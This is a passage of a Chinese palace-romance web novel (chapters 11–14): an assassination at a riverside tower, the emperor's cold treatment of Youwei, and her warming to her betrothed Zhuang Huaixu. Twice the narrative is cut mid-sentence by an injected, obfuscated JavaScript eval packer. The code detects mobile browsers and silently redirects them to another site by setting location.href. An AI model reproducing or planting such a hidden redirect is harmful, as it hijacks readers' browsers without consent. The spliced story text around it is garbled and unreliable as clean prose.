三人被这漫天箭雨困住,有些不长眼的直接射在人群中,中箭的人立即惨叫毙命,他们不得不再次躲回去,死死关上门板。 一波利箭过后,数道黑影如同鬼魅般从临街的屋顶一跃而下,挥刀直奔望江楼。 有人趁乱行刺! 幼薇头一次面临这般险境,吓得脸都白了,她第一反应竟是李承玦自十二岁就偷偷去西北参军,不知他经历过多少次这样的生死关头。 这些刺客来势汹汹,袭击突然,一波猛箭已让禁军落了败势,望江楼里的人只怕是……凶多吉少。 她白着脸对庄怀序道:“你能不能去搬救兵?” 便是再无瓜葛,形容陌路,她也不愿看到他有事。 事关重大,眼下并不是推诿的时刻,庄怀序深深看了她一眼,重重点头:“好,你小心躲好,不乱跑就不会有事。” 庄怀序寻了个空档离开。隔着一道门,外面便是刀剑碰撞与喊杀声。幼薇双手抓着兔子灯缩在窗下,忍不住顺着窗缝偷偷向外看,鲜血溅在她头顶窗上,吓得她头一缩,腥气弥漫,却还是颤着身子时刻注意外面的情势。 街道上所有商铺门窗紧闭,守卫的禁军不敌,刺客已经全部杀进楼中。 幼薇怕得不行,她紧握兔子灯,眼眶含了泪,看向墙角的谢明姝:“明姝姐姐,我们会不会出不去了?” 谢明姝也有些微紧张,却并不见慌乱,她镇定道:“我相信陛下定能平息叛乱,先等一等,待外面平稳些我们再离开。” 幼薇点头,谢明姝的话让她心中稍感安定,她没有那么怕了。 街上仍旧乱乱的,一街之隔的楼内不断传出打杀声,听得人心惊肉跳。 她不断祈祷庄怀序快些搬救兵,祈祷所有人平安无事。 就在此时,混乱的人群中突然有大批“百姓”抽刀杀向望江楼,有的直接顺着屋檐跃上二楼,身手矫捷令人咋舌,不知是不是刺客的帮手。 另有一批百姓替代禁军守在楼下,列阵整齐,训练有素,仿佛只是禁军换了一身衣服。 与此同时,一批弓箭手将望江楼包围,弓箭对准楼上。 局势大有逆转之势。 幼薇心下疑惑,隐约预感到了什么,又说不出来。 她听到有人大声道:“中计了,快撤!” 许多刺客从楼中飞出,漫天箭雨再次倾泻,不少刺客中箭坠落,却也有人毫发无伤。 逃掉的刺客落入房顶,立即有人展开追捕。 看到这里,幼薇终于松了空气,她从窗边悄悄移动到墙角处,开心地握住谢明姝的手:“明姝姐姐你说中了,刺客跑了,我们没事了!” 谢明姝也松了空气。 恰在此时,后窗被人踹开,两个身上带箭的刺客悄无声息跃入,伸手按住肩头伤口。 这一切本是悄无声息,然而他们万万没料到屋中竟躲了两个女子。 四人对视,空气瞬间凝滞。 “首领,怎么办?” 被称为首领那人没说话,只是握紧手中钢刀,一步一步朝她们二人走来。 幼薇心一下提到嗓子眼,她后退两步,咽了口口水,背后已是墙壁,退无可退。 谢明姝飞速向后看了眼,心下一沉,面对刺客高 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李承玦放下谢明姝,交给身后的缇骑司侍卫保护。他一袭暗纹玄衣,深得要与黑夜融为一体,面容如玉,气度沉雄。 刺客追杀一晚上的人,此刻好端端站在这里,毫发未损。 相距不过数步,李承玦却如没听到一般,甚至没看刺客怀里的幼薇一眼。 他讥诮地扬起唇角:“你觉得她的命会比你值钱?” 的确,值钱的那个已经被救走了,剩下的那个,怎么看都是无关紧要之人。 刺客吞咽了下口水,重新握紧刀柄,将刀压得更重:“那她就是因你而死!” “随便。” 李承玦背过身,连看的兴趣都没有,在他转身的瞬间,幼薇的泪水不受控地淌下来。 纵使知道他不喜欢她,可是怎么可以这样冷静……不,是冷漠。 在他心里,她就是死在他面前也没关系吗? 刺客看着怀里的幼薇,咬牙准备出手,千钧一发之际,一枚冷箭射中他肩头,刺客身子一软,长刀脱手,幼薇与刀一同跌在地上。 卫昭上前:“陛下,活口抓到了。” 正是他涂了药的暗箭伤了刺客,与陛下作战多年,一个眼神他便知圣意。 李承玦点头,命人将刺客带下,转身看向谢明姝:“谢小姐,让你受惊了。” 卫昭转头,这才看向谢明姝,这一看,便怔住了。 死里逃生的人,看起来总归是狼狈的,可这仍旧难掩她的高贵气度。 她身姿端庄,双眸沉静,徐徐向李承玦施了一礼,尽管脚踝处有血迹渗出,她依旧面不改色:“多谢陛下关怀。陛下救命之恩,臣女没齿难忘。” 李承玦也瞧见了她的伤,转头对卫昭道:“带她们两个到画舫上去。” “是。” 卫昭垂眼,上前扶起幼薇,另有人扶着谢明姝,将她们二人带到河边的一艘画舫。 楚元胥穿着常服在画舫上摇扇喝茶,见卫昭带两女来,连忙起身问询。 没想到在这里会见到右相,更意外的是,楚元胥竟懂医术。 谢明姝伤在脚上,治理不便,楚元胥让幼薇去隔壁稍作休息,自己为谢明姝诊治起来。 幼薇乖乖去了隔壁等侯。 这里更像一间茶室,窗边有矮松绿植,桌上摆了棋盘,边上还有茶盏未收,明显有人用过。 画舫在河面上浮着,坐在船上有种漂浮的平稳,水里偶有鱼儿窜动,她听着水声,心脏仍扑通扑通乱跳。生死一线的惊险尚未平复,手腕上火辣辣的疼痛时刻提醒她方才经历了什么。 她轻轻抓握手腕,怔怔盯着红泥花盆里那株矮松木,自虐般一遍遍回想李承玦今夜说过的话,她想让自己记住。 相处半年,她却半点看不出他是这般无情之人,再想起父亲除夕夜对她说过的那些话,字字句句竟都言中了,回想当时认真反驳的自己,只感觉脸又肿又疼。 画舫轻轻晃动,似是有人登船。 那脚步声顺着走廊传来,由远及近,她听见卫昭唤了声“陛下”,那人低应一声,径直走到她的舱门前停下。 房门拉开,幼薇下意识将伤手缩回袖中,垂至身侧。一道熟悉的身影立在门口,灯火将他的身影投进来,幼薇循着他的影子抬脸。 一窗之外的汴河,一尾小鱼倏然跃出水面,哗啦一声,又落回河中。 一滴河水啪地溅上她手背,她食指微颤。 会冷,那就不是梦。 夜色寂寂,他腰束君王带,玄色衣角微摆。离得近,相逢以来,她终于得以看清他的脸。可是,她真的认识他吗? 也许船舱门外站着的,从始至终,都是一个彻彻底底的陌生人。 12.第十二章 汴河之上,高大的画舫轻摇,舷边灯影随波漾动,河水都浮着暖光,丝竹声漫过桥面,融在河风里飘得很远。 不知是哪个秦楼楚馆包的画舫,欢声笑语吹过来,与船舱内的安静形成鲜明对比。 幼薇如梦初醒,垂下眼,勉强撑起有些发软的身子,向李承玦行了一礼。 “臣女……见过陛下。” “嗯。” 他应了声,淡淡走进船舱里,步伐平稳,一阵龙涎香拂过,他掠过她面前,在她方才坐过的位置坐下。 很快有内侍进来,飞快将茶壶和茶碗换下,又上了一套新的,内侍用银针验过,才给新茶碗里注入茶水,这才奉给陛下,退下了。一切井然有序。 李承玦啜了口茶水,搁在一边,抬起头,幼薇还保持行礼的姿势不变,头眼垂着,一张小脸隐隐发白。 他轻轻抚动扳指:“平身罢。”声音听不出情绪,“你今夜为何在此?” 幼薇听在耳中,字字都像敲打,疑她对他别有用心,纠缠不休。 她指尖微蜷。静默一瞬,方才站直腰身,缓缓道:“臣女与庄怀序公子夜游,不想陛下也在。” 她努力维持着体面,抬眼望来。 烛火微动,她一双眸子盈盈似水,有如会说话一般,就那么望着李承玦。 又一尾鱼儿出水,一滴水珠恰好溅在他的喉咙。 李承玦淡笑着看过去:“余小姐与庄公子感情甚笃,佳节夜游,朕倒是促成了一桩好姻缘。” 他全然置身事外的态度,如同一个陌生人。 龙涎香渐渐弥散,她嗅着,手腕被烫伤的地方,泛上一阵火辣辣的疼痛。 “是。”幼薇勉力牵起唇角,强忍泪意,只是嘴唇干涩,笑起来脸也紧绷。她只能体面到这里。 “臣女十分感念陛下恩情,每日都在期盼早日完婚,若无陛下,臣女怎得今日良缘。” 戴扳指的拇指抹去喉间水珠,湿意停留在指尖,他别过头,转脸看向窗外的汴河逝水,将指尖的湿意碾开,直至化干。 “你的嫁妆可备得足够?若是缺什么,尽可对朕言明。既是朕钦赐的婚约,朕断不会薄待了你。” 幼薇直至此刻才明白他赐她那许多嫁妆的用意,原是为了一刀两断,互不亏欠。 她的情意,在他眼中不过是可以用金钱交易的物品。 “好啊。” 幼薇仍旧是开心的模样,下意识掐住手腕的伤处,仿佛借助这皮肉的刺痛,便能压下心口那股更深的锐痛:“多谢陛下,若有所缺,臣女必当对陛下开口。” “嗯。” 船舱内一片静默,他坐她站,谁都未再开口,只有夜风在其间倏忽而过。 刚抹过水的指尖,风吹过,一片冰凉。 隔壁间船舱的门拉开,谢明姝与楚元胥道谢声传来,不多时,楚元胥从走廊中走过来,连带谢明姝,二人一齐进入此间,先后对李承玦行礼。 楚元胥拱手道:“陛下,乱党抓到了吗?” “抓了一些,卫昭在审。” 他应了一句,抬手制止楚元胥后面的话,转脸看向谢明姝,眉目倏然变得柔和,唇角微翘,在灯光下显得如天神落凡尘:“谢小姐,你的伤势还好吗?” 谢明姝未料到陛下会对自己如此和颜悦色,饶是她向来淡定如水,李承玦的态度实在出乎她的意料。加上李承玦有异族血脉,这张脸在灯下看来俊美妖冶,双眸明亮夺目,专注看着一个人时,任何人都无法抵挡。 她呼吸乱了几分,担心自己失态,连忙垂首以正视听,恭谨道:“回禀陛下,右相大人妙手回春,臣女现下已经不痛了。” “那朕要重赏右相了。” 李承玦转头:“右相救治谢小姐有功,赏银三百两。” 楚元胥识趣,忙向谢明姝拱手:“多谢谢小姐,多谢陛下赏赐。” 谢恩自然是君为首,其他人在后,楚元胥先谢她,大有今夜她的面子最大之意,这是李承玦的默许。 谢明姝眼中闪过惊诧,难道新帝待她不同?她作势要行礼,被李承玦拦住:“今夜令你受伤,本就是朕之过,宁国公是朕的肱骨之臣,朕让宁国公爱女受伤,更是罪加一等,你莫怪朕便好。” 谢明姝刚来时,见船舱氛围冷寂,幼薇又站在一边垂首不语,还以为新帝难以接近,见礼时本不抱希望,如此一番接触下来,那些忐忑不翼而飞,再看李承玦,只觉仁慈和蔼,平易近人。一来二去,倒和陛下亲近不少似的。 对了,幼薇。 思及此,谢明姝忙上前拉过幼薇的手腕:“幼薇妹妹,方才你……” “嘶——” 幼薇疼得抽回手,按住手腕,谢明姝面色变了下:“你怎么了,是不是哪里伤着了?” 她摇摇头,白着脸抬眼,余光瞧见李承玦恍若未闻,淡淡拿起茶杯啜了一口,仿佛她只是船舱里的一盆树,一粒子。 她勉强笑道:“没事,可能是摔倒的时候磕到了,小伤而已。” 谢明姝强行扯开她的袖子,见手腕处的皮肉烫得红肿,眉头不由揪紧:“这哪里是磕的?分明是烫坏了!右相大人——” 楚元胥下意识看了眼李承玦的脸色,含糊道:“这,我这里没有烫伤的药,只能另寻郎中处理。” 听到这里,幼薇还有什么不明白,既懂医术,怎么就没有烫伤药膏?无非是李承玦不愿为她医治,所以不敢罢了。 她心下一片冰凉,故作轻松安抚谢明姝:“真的没事,我从前做糕点也常被烫到,只是看着吓人罢了,不劳烦右相大人,我回去涂点药便好了。” 伤口被发现,再待下去,倒像非要惹什么人关心一样,何况在这间船舱里,她才是那个多余的人。 她再笨,也没有那么不识趣,有人不想见她,难道她就想留在这里见他吗? 幼薇连忙行礼:“时候不早,多谢陛下相救,谢右相大人挂怀,臣女告退。” 她执意要走,谢明姝也不好独留,何况再待下去,只会落得不矜持的坏印象,因此一并行礼告退。 李承玦偏头:“安排马车送他们回去。” 楚元胥:“是。” - 坐上右相为她们安排的马车,按照距离远近,先送幼薇,再送谢明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16561772|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姝。 马车上,谢明姝不住弯着唇角,她的气质仍旧高贵端庄,便是笑也不会觉得轻浮躁动,这是世家贵女教养出来的沉稳。 幼薇靠在车壁上闭目养神,只盼着快些到家处理伤口。 谢明姝瞧了幼薇一会儿,突然开口:“想不到陛下如此平易近人。” 平易近人吗?大抵是罢,她初见李承玦时,也是这般觉得,觉得他处处都好,温柔体贴,如今才明白这一切都是他的伪装,他根本就是冷血无情。 她疲惫地抬起眼皮,胡乱应了一声。 “哎,那你与陛下单独相处时,他都同你说了什么?”谢明姝一双美目望过来,碰着她的手臂问。 “他说——”幼薇扯了扯嘴角,“让我同庄公子早日完婚。” 谢明姝没说话,过了会儿,她才叹了口气:“你今日救我……绵绵,我真不知怎么办才好。” 幼薇觉得这话奇怪,又说不出来,想了想,她道:“你没事便好,我也不想要你怎么样,就算不是明姝姐姐,换成陌生人我同样会救的——当然我没那么大本事,我只是,只是不希望有人死掉。” 眼睁睁看着一条生命在眼前逝去的滋味并不好,她母亲便是这样,母亲在床上烧热不退,连话都说不清楚,握着她的手死了,死后还紧紧拉着她,直到母亲双手冰冷才被父亲拉开。 一个好好的人,从你生命里消失,再也不会醒来,多残忍的一件事。 谢明姝听罢,沉默片刻,再开口时,声音里带着一种难以言喻的复杂:“……绵绵,你真好。” 幼薇不明白好从何来,在她看来,每个人都会这样做。 说话间到了余家府邸,马车停下,幼薇和谢明姝拜别,她目送马车离去,正准备入府,突然听见一阵马蹄疾驰,在安静街道格外清晰。 “余小姐留步!——” 幼薇脚步一顿,疑惑回身,但见卫昭骑着一匹白色骏马疾驰而来,待到府前,他收臂勒马,自马背上翻身而下。 见到人,他大大松了口气,从怀中掏出一个精致的玉瓶,双手奉到幼薇面前:“余小姐,每日两次敷在患处,不出半月,伤痕自然消弭。” 幼薇没接。 “卫大人,你我萍水相逢,这药我不能收;若非是大人相送,我更不能收。” 卫昭再次把玉瓶递给幼薇,道:“余小姐,您为难我不要紧,但何必同自己过不去?这雪肌玉颜膏有祛疤之效,千金难求,百利无一害的事,何必拒绝?” “所以呢?”她的声音骤然染上哭腔,抬起头,一双泪眼红得厉害,“他要怎样就怎样,他给了,我就必须感恩戴德地受着,不要便是不识好歹,我连不识好歹都不能够吗?他问过我的意见吗?” “这……余小姐……您别哭了,我……” 卫昭被她突如其来的眼泪哭得手足无措,想帮她擦泪又不敢,又不能捂她的嘴,可差事又不能不办,最终他将心一横,把雪肌玉颜膏塞进幼薇怀里,上马掉头跑了,边跑边扔下一句话:“余小姐,千万不要为难自己,记得早晚两次——” 剩下的话,随着马蹄声一起踏碎飘远。 13.第十三章 卫昭回到皇城,畅通无阻进入紫宸殿,李承玦已换回常服,正与手摇羽扇的楚元胥对弈。 他行礼,而后回禀:“陛下,事情办好了。” 李承玦落子的动作一停,露出一个微笑:“折腾你跑一趟,自己倒杯茶喝吧。” 卫昭应是,去一旁用空茶杯给自己倒了杯茶,又倒了杯茶。余光偷窥陛下侧颜,心中犹豫该不该把余姑娘的事情禀报,毕竟余姑娘哭得实在令人心酸,可陛下毫无问询之意,似乎并不关心,他担心说出来多嘴,思来想去,还是决定算了。多一事不如少一事。 楚元胥道:“六皇子、九皇子和十一皇子都逃去了江南,却还能在京中布下杀局,看来京中还有同党接应。” 李承玦淡淡的:“也难保不是六皇兄本人。” 卫昭喝完茶,在一旁听了片刻,忍不住开口:“陛下,为何断定是六皇子,而非九皇子或十一皇子?” “李承尧和李承厦两个废物草包,有我在,他们敢留?” 李承玦冷笑,毫不掩饰眼底的戾色,远不是谢明姝在画舫上见过的温和君主。卫昭和楚元胥都是近臣,早知李承玦性子,是以见怪不怪。 卫昭道:“不论是谁,微臣定当竭力搜捕,将乱党一网打尽!” 楚元胥瞧出李承玦心绪不佳,忙将话题引回正事,含笑道:“好在陛下圣明,略施小计,便试出谁在陛下身边安插了耳目。” 宫中放出去的消息是陛下花朝节去彩凤楼,实际上从一开始打算的就是望江楼,借此机会,什么人有了什么动作,全都一目了然,那些个王公贵族暗地里都在打探圣人消息,顺着查下去,这些耳目也不难揪出。 李承玦将手中棋子丢回棋罐,发出“啪嗒”两声轻响。他抬手按了按眉心,满脸疲色。 要做的事情太多,虎视眈眈的李承稷,躲在江南的李承尧和李承厦,这些人都要死;倘若江南按察使是他的人,这些都不是问题,可他不便贸然更换,害怕打草惊蛇,眼下实在无人可用;离京多年,他的根基多在军中,朝中支持者寥寥。新培植的势力尚弱,士大夫们各怀心思,谁能保证他们表面恭顺,背地里不与李承稷暗通款曲?散布在民间的流言只是乱党所为,当真没有人推波助澜吗?谁都不可信,谁也不能信。 “陛下,今日花朝节,您也早些休息罢,剩下的事情交给微臣。” 楚元胥见李承玦面色疲惫,连忙起身劝阻。 在军中时李承玦便睡得少,可少年人精力充沛,从来不知疲倦,纵是厮杀脱力,睡一觉便又生龙活虎。如今执政不过半年,竟比在军中还要劳累,再无从前的少年气,人变得沉稳内敛起来。 李承玦睁眼,手从眉间放下来,在扳指上抚了抚:“不用,我没事。” 楚元胥是他的军师,卫昭是过命的兄弟,他们二人是他为数不多可信之人,私下里他还如军中一般,只用我,不称朕。 他看向卫昭:“你去兵部,从旧部中再调些人,并入缇骑司,交给程莫训练;再带一些人马,分派到福建、江南、广南去,巡查军政。” 楚元胥稍一思索,拊掌大笑:“此计甚妙,让缇骑司暗中查访,最合适不过!” 卫昭本不解,军师一说,很快明悟,当即拱手:“微臣领命!” 卫昭下去,紫宸殿又只剩下君臣二人,李承玦坐回上首:“可用之人太少,看来必须尽快开设恩科,选拔人才,军师以为如何?” 必须培养真正的天子门生,才能培植自己的势力。 楚元胥道:“陛下圣明,只是……”他顿了顿,小心地看向李承玦,“朝中贵族,亦可拉拢用之。” 话语含蓄,意思却明显。 士大夫一族在朝中快速联结发展,靠的便是姻亲,贵族亦然,自古以来后宫都与前朝息息相关,何况新帝势薄,贵族惶惶,双方都需要这样的亲事形成利益联结。 李承玦已经拿起一本折子看起来,听了楚元胥的话未置可否,只道出两个字:“不急。”没再往下说。 楚元胥懂事地没再接,视线落到一旁的灯烛上,想起什么:“陛下的安神香可用完了?臣又给陛下备了一些,明日呈给陛下。” 他瞧着龙椅上忙碌的人,不免想到多少次他深夜离开后,紫宸殿窗子映出来的、仍在批阅奏折的单薄身影。 不由换了个语气:“陛下,政事是忙不完的,有些事迟一日也没什么,您多注意休息。” 批阅奏折的笔尖一顿,很快恢复书写:“多谢。” - 幼薇其实不是多执拗的人,纵使李承玦不喜欢她,从未对她有过情意,她也没想恨他,只是有些伤心罢了。恨一个人太累,也太消耗自己,她只想快点忘掉这些事,调整自己的心情,然后往前看,过好自己的生活。 不喜欢自己,便算了,喜欢这事强求不来。起码她在这段感情中问心无愧,做了自己该做的事情,纵有遗憾,也不想勉强什么。 所以他给她父亲赏赐,升阶,又给她添许多嫁妆,她也不矫情,统统收下。矫情没意思,也是跟自己过不去。 可是卫昭送来的那小瓶药,她还是坚决不肯用。 哪怕自己很疼,伤处会留疤。 那瓶药被她扔在柜子深处,甚至不想看到。 只要看到,就会想起他无情的赐婚,刺客把刀架在脖子上他的无动于衷,想起她伤痛难忍时他的视而不见,却又事后“大发善心”给她送一瓶药,高高在上如施舍一般。 她也知道自己不理智,可她不能任性一次吗?她就什么都要忍受吗?她,就是委屈,很委屈,不可以吗? 幼薇没出息地哭了一场,也说不清自己在哭什么,就这么哭着睡着了,醒后让下人请了郎中来看,那伤口把郎中吓了一跳。 大户人家的小姐,哪个不是精心养护长大,何况幼薇皮肤细嫩,一看便知养得格外仔细。 那烫伤足有两三寸长,红肿地烙在雪白皮肉上,瞧着触目惊心,任谁见了都能感受到伤有多痛。 他连忙敷上药,包扎好,摇头道:“宫中应有祛疤药膏,贵府老爷向圣人讨个赏,小姐便不必忧心留疤了。” 幼薇没多说,只点头应了:“多谢郎中。” 让小桃给了赏钱,便让下人将郎中送走了,小桃也是今早才知道幼薇昨夜受了伤,她眼眶一红,对着幼薇的手臂又是一阵垂泪,直说对不起夫人,没照顾好小姐。 哭得幼薇心里软软的,连忙安慰小桃说没事。昨夜刺杀来得突然,场面那样混乱,小桃被人群冲散了,根本没找到小姐,幼薇回家时小桃已经让管家带人一起寻她了,好在没多久她便归了家,一颗心才放回肚子里。 “对了,若父亲问起郎中的事,不要说我受伤,只说是我被吓到就是。” 尽管伤口很疼,很想扑到父亲怀里、好好被当个孩子哄上一哄,可父亲已经为她操心很多了。 父亲对她本就常怀亏欠,若父亲知道她受伤,不知该有多担心自责。她不想让父亲难过。 昨夜大批禁军都调去护卫圣人,父亲身为殿前都指挥使自不能归家,怕是今天散值才能回来。 傍晚时分,日头西垂,幼薇在房里看了一日的书。 昨日傅叶嘉逼她作诗,她写不出,让人好一番嘲弄。虽说有谢明姝维护化解,可她水平不佳是事实,难堪之际她暗暗发誓要多看些名篇佳作学习,不过她硬啃了一天,看得昏昏欲睡,一知半解,不过才看了四五页,她又恼自己蠢笨。 有下人过来敲门:“小姐,老爷回来了,请您到前院去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572018|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幼薇欢欢喜喜放下书本,带着小桃朝前院跑去。 “小姐,跑慢点!” 幼薇才不听,她提起裙摆一路小跑进正堂,脸上洋溢着笑容:“爹!” 视线一转,看到管家垂手站在父亲身边,座位另一边,坐着一个端方如玉的公子,身着绿色常服,颈间是浅紫色交领,附着一道白边,腰坠绿色鱼袋,赫然是庄怀序。 看他穿着,应是散值后没归家换衣服便过来了,此刻正与余拓海坐在一处,不知在聊什么,逗得余拓海大笑。 此刻二人一齐朝她望来,将她这冒失模样瞧入眼中,一个眼神宠溺,一个笑意满满。 “慢点,也不怕摔了。”余拓海口吻责备,眼里是说不尽的疼爱,转头对庄怀序解释:“小女平日都是稳重的,许是老夫两日未归家,心中思念,焦急了些。” 庄怀序在一旁点头应和。 幼薇脸一红,连忙给二人见礼。 余拓海看了幼薇一会儿,疑惑道:“绵绵,可是昨夜休息不好?你瞧着很是疲累。” 幼薇没想到父亲眼睛这么毒,昨夜之事当然不能说,她慌乱一瞬,急中生智:“不是,我今日一直在看书,读得困了,所以才……” 余拓海这才放心,转头对庄怀序道:“小女平日闲散在家,喜欢读一些书,想来与贤婿志趣相投。” 幼薇:“……” 她脸都憋红了,父亲怎么睁眼说瞎话,她爱不爱读书父亲难道不知道吗? 她赶紧岔开话题:“庄公子,您怎么来了?” 余拓海道:“贤婿初次登门,对府上还不熟悉,绵绵,你带他去府上逛逛。” 幼薇如释重负:“是。” 拜别父亲,幼薇和庄怀序并肩走在抄手游廊里。因着昨夜的事,两人已经熟悉得多,起码相处起来她不会不自在了。 她赶紧解释:“爹爹方才说笑了,我其实……于读书上并不勤勉,你可千万别当真。” 庄怀序单手负后,步履闲适:“哦?那为何今日想读了?” “……”还是这么一针见血。 她支吾道:“就,总得读一读吧,也不是完全不读的。” 她说话总是直白有趣,不加掩饰,像白纸一样,写什么就是什么。 庄怀序不知不觉弯起嘴角:“那你今日读了什么书?” “《昭明文选》。” 庄怀序想了想她方才说过的话,斟酌道:“若是读得困了,便是与它没有缘分,可以换一本来读。好书读起来不会让人发困,只会手不释卷,废寝忘食。” 幼薇摆手:“不是不是,它没有不好,它应是好的!是我太笨读不懂,不知为何都是字,拼凑起来就是不认识,可能就像你说的没有缘分,唉!” 连一本书的好坏她都要辩解,她的世界里,就没有任何不好吗? 他道:“那下次我带些有缘的书给你。” “好啊好啊!” 天下间多少读书人想求状元郎指点都得不到,状元郎给她带书,相当于是她私人先生,是她赚到了! 正低头窃喜着,又听庄怀序道:“我听令尊和谢小姐都唤你绵绵,这是你的小名?” 幼薇点头:“是的,母亲说我刚出生时……手感绵软……”她脸涨红一些,其实是她刚生下来肉很多,五六岁以后才慢慢瘦了,“她和父亲便叫我绵绵。” 好在庄怀序并未在意这个细节,只问:“只有亲近之人才这样唤你罢。” “是。” 庄怀序停步,将这两个字缓缓念了一遍。 绵、绵。 最后一个字念完,舌尖不自觉轻抵牙齿收音,像把这个人彻底留住一般。 他看向幼薇:“那以后,我也这样唤你,可以吗?” 14.第十四章 抄手游廊走到尽头,穿过月门,便是内院所在。 天色渐沉,府中下人正依次掌灯,细碎的脚步声混着低语,将沉浸在他话语中的幼薇唤回了神。 他还在静静端详她,眼底盛着耐心,等她的回答。 风过无声,幼薇这才发现庄怀序的眼睛也很亮,不过是另一种感觉,透着包容与可信。 被他的眼睛注视着,又或者是因为他有些亲昵的请求,幼薇颊边莫名泛起热意,不自在地垂下眼。 “若公子不弃,没什么不可以的……” 庄怀序笑了:“绵绵。” 念完,又一字一顿地望着远处重复:“绵、绵。” 两个字念起来,不知为何口齿有些纠缠,他忽然懂了许多诗篇中,绵绵二字用得有多精妙,无论音律还是意向,都是绵软无害且无法割断的。 幼薇没想到他还念上瘾了,指尖无意识蜷了蜷,都不知道该不该应,只好瞧着他。 他转回头,目光温和却不容回避:“我唤你小名,你却仍以公子相称,倒显得生分了。若不介意,以后便唤我循之罢。” “循、之。”幼薇煞有介事地念着,“循、之?” 她如牙牙学语的稚儿,庄怀序笑望她,眼中是未曾察觉的宠溺:“学我?” 幼薇闹了个红脸:“不是,不太熟悉你的字。” “字不熟没关系,人熟了就行。” “……” 幼薇被他说得手都不知道往哪摆,只好低下头,飞快迈步走了。 庄怀序笑着跟上。 幼薇大致带庄怀序逛了一圈,回去时,幼薇跟下人要了盏灯笼,庄怀序接过来提着,二人聊起昨夜突发的刺杀。 庄怀序去寻救兵,人来之后,刺客已被关押,只有处理后事的禁军和被清点的尸体。 幼薇听到他没事,一颗心放回肚子里。 “辛苦你了。”这话发自内心,毕竟当时是她求他帮忙的,同时有些欣慰地看着他,“还好你没事。” “那你呢?”庄怀序定定看她,“你是如何脱险的?” 提到这个,不免会想起李承玦,不过想到他面对自己的生死都毫无波澜,自己也不该总因为他影响心情,说好要把他忘了,她要学会做到。 她语气平静,听不出波澜:“我和明姝姐姐遇到危险,幸得陛下所救,还差人把我们送回来了。” “陛下是仁君。” “嗯。” 短暂静默,庄怀序看着手中的灯笼,问:“那兔子灯,是不是遇险时弄坏的?” 幼薇惊讶,实没想到庄怀序竟看到了,只好将当时情形解释给他。 庄怀序听罢,眸色有些深,似要将她整个人看到底:“你手无寸铁,怎轮得到你上,你不要命吗?” 他这个人始终是温和文雅的,这一句话听起来,却透出一种陌生的压迫。明明人还是那个人,可灯笼的光自下而上映着他的脸,在眼睑下投出深深的阴影,竟让她无端想起了李承玦。 幼薇的心莫名重重跳动两下,她喉咙滚动,转开脸不去看他:“不然能怎样呢?我只知道那个时候,我不想明姝姐姐有事。” 他没再接话,两人沉默着回到前厅。 余拓海不在,应是回房了,天色不早,庄怀序将灯笼交给下人,准备告辞。 幼薇没料他这么快便走了,都未曾好好歇一歇,用过一些茶点。 他摇头:“我来,只是担心你有事。” 亲眼见到她无事,他便放心了。 听了他的话,幼薇只觉一股温热的暖流漫上心头,被人这样放在心上惦念,怎能不动容。 她送他到门口,马车临行前,他拨着车帘对她道:“那兔子灯,以后我再送你新的。” 幼薇一怔,心头又是一跳。 车帘落下,马车就此远去。 - 自此以后,幼薇对待赐婚一事,再不像从前那般抗拒。 府中绣娘将喜服的花样给她看,她不会再事不关己说“随便”,也不会让小桃推脱掉说自己不想看,她会选出自己喜欢的样式。 绣娘提议让她试着绣两针,她也不抗拒,不过还是绣得不太好看,好在她不会再挑剔自己。 绣给自己,毕竟不像绣给旁人那样紧张。 喜服除了外面的嫁衣,还有中层的里衣。因着是御赐的婚事,体面是少不了的,外袍已在赶制,里衣的料子却还在选。 小桃灵机一动道:“御赐的香云绫还未曾用过呢,那真是独一无二的好料子,用来做喜服是最合适不过,寓意我们小姐的亲事也是独一无二的好姻缘。” 绣娘们听了,连连称好,说御赐之物定然吉利,喜上加喜,她们看向幼薇,用眼神询问小姐的意思,幼薇心里没什么感觉,无所谓道:“好啊,就用它吧,留着也没什么用的。” 以至于余拓海下朝后,见女儿竟安静坐在房中与绣娘一同缝制喜服,惊讶得眼睛都要掉出来了。 再看到那被裁剪的香云绫,脸上先是一喜,很快又转为忧色。 直到晚间,旁人不在,余拓海来到幼薇房间,才将这担忧对女儿吐露:“绵绵,那香云绫,你……不留了?” 幼薇倒茶的手一顿,摇头:“不留了。” 曾经她很珍视那十匹香云绫,觉得那是李承玦对她的心意,她不舍得用,看到便觉得甜蜜。如今再看到只会想到他在画坊上说过的话,谈何心意?无非是两不相欠,他想偿清一切对她的承诺,再不给她纠缠的机会。 也许这才是真正的无情,对你好时全心全意,分开也断得干干净净,你无可指摘,连怨他恨他都不能。 看起来,她才是那个得了好 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如此,余府上下正式进入了“备婚”环节,府中人丁稀薄,十多年来终于迎来喜事,上下一片忙碌,人人皆是喜气洋洋的。 喜服的全部用料和样式都定下,谢明姝又命人送来了一些绣线,每一卷都有专属的木匣,垫着的丝绢都绣了双喜。 到底是国公府的礼物,每一匣都非凡品。 一匣是番邦的彩羽拆解成丝,所织就的羽线,每一寸都需耗费重金从走番商的商号采买;一匣是南海珍珠磨粉调和胶质制成的珠绒线;还有一匣是掺了真金箔捻成的金缕线。 纵是不识这些丝线来历,光是看到它们在阳光下流光溢彩的样子,也知道这些绣线价值不菲,幼薇心下感动,连忙做了两盒糕点送回去——国公府那样的人家,缺你那点回礼么?糕点不贵重,重在心意。 